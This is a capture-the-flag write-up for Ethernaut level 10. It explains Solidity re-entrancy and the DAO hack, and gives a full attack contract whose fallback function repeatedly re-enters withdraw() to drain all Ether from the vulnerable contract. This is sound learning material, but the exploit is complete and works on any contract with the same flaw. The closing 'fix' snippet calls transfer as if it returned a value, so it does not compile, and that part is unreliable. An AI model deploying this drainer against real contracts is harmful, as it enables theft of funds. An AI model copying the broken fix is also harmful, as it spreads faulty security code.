Ethernaut(Lvl 10): Legendary DAO hack all over again
Drain funds from a contract exploiting re-entrancy
Table of contents
Understanding Re-entrancy
Re-entrancy occurs in single-thread computing environments when the execution stack jumps or invokes subroutines before returning to the original execution flow. While this single-thread execution ensures the atomicity of contracts and eliminates certain race conditions, it also leaves contracts vulnerable to poor execution ordering.
For instance, consider the scenario where the transfer of funds precedes the deduction from internal balances ledger. In this example, Contract B acts as a malicious contract that recursively calls A.withdraw()
to deplete Contract A's funds. Notably, the fund extraction completes successfully before Contract A returns from its recursive loop, allowing B to extract funds exceeding its own balance.
This level capitalizes on the re-entrancy issue and explores additional factors contributing to the DAO hack:
Fallback functions can be invoked by anyone and execute malicious code.
Malicious external contracts can exploit withdrawals.
The Challenge
The challenge requires you to steal all the funds from the contract .
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
The attack exploits the reentrancy vulnerability in the ReentrancyHacker
contract to drain funds from the IReentrancy
contract. Here's how it works:
The
ReentrancyHacker
contract initializes a variablevictim
of typeIReentrancy
with the address of the vulnerable contract passed as an argument to the constructor.The
fund()
function allows external users to send Ether to theReentrancyHacker
contract, which is then forwarded to thedonate()
function of the vulnerable contract (victim
). The amount donated is stored in thedonatedAmount
variable.The
withdraw()
function calls thewithdraw()
function of the vulnerable contract (victim
) and attempts to withdraw the entire amount previously donated.The
fallback()
function is a special function that gets executed when the contract receives Ether but doesn't match any other function signature. This function is exploited to initiate the reentrancy attack.Inside the
fallback()
function, the contract checks the balance of the vulnerable contract. If the balance is not a multiple of the donated amount, the contract calls thewithdraw()
function of the vulnerable contract multiple times to drain the excess funds until the balance is a multiple of the donated amount. Then, it calls thewithdraw()
function one more time to drain the entire donated amount.The
collectEthBack()
function allows the attacker to withdraw any remaining Ether held by theReentrancyHacker
contract back to their address.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// Interface for the vulnerable contract
interface IReentrancy {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract ReentrancyHacker {
IReentrancy victim; // Interface instance for the vulnerable contract
uint256 donatedAmount; // Amount of Ether donated
address victimAddress; // Address of the vulnerable contract
constructor(address _victim) public {
victim = IReentrancy(_victim); // Initialize the interface instance
victimAddress = _victim; // Set the address of the vulnerable contract
}
// Function to donate Ether to the vulnerable contract
function fund() public payable {
// Call the donate function of the vulnerable contract with the value sent
victim.donate{value: msg.value}(address(this));
donatedAmount = msg.value; // Store the donated amount
}
// Function to withdraw Ether from the vulnerable contract
function withdraw() public {
// Call the withdraw function of the vulnerable contract with the donated amount
victim.withdraw(donatedAmount);
}
// Fallback function to handle incoming Ether
fallback() external payable {
uint contractBalance = address(victimAddress).balance; // Get the balance of the vulnerable contract
if (contractBalance % donatedAmount != 0) {
// If the balance is not a multiple of the donated amount, withdraw the excess
victim.withdraw(contractBalance % donatedAmount);
} else if (contractBalance != 0) {
// If the balance is not zero, withdraw the entire donated amount
victim.withdraw(donatedAmount);
} else {
// Do nothing if the balance is zero
}
}
// Function to collect remaining Ether from the contract
function collectEthBack() public {
// Transfer the contract's balance to the sender
payable(msg.sender).transfer(address(this).balance);
}
}
Developer TidBits
In Solidity, the sequence of actions holds significant importance. When making external function calls, it's crucial to position them as the final step after completing all necessary checks and adjustments. For instance, consider the withdraw
function below:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
if(msg.sender.transfer(_amount)()) {
_amount;
}
}
}
Alternatively, it's advisable to execute the transfer operation in a separate function for improved clarity and organization.
Additionally, implementing a mutex is advisable to prevent re-entrancy. This can involve utilizing a boolean lock variable to indicate the depth of execution.
Exercise caution when utilizing function modifiers to verify invariants. Remember that modifiers are executed at the start of the function. If the state of variables is expected to change throughout the function's execution, it's prudent to extract the modifier and place the check at the appropriate line within the function.
Lastly, adhere to the advice to "use transfer to move funds out of your contract," as it throws an exception and limits gas forwarded. Unlike low-level functions like call and send, transfer interrupts the execution flow when the receiving contract encounters failure. This guidance is drawn from insights provided in the Ethernaut level.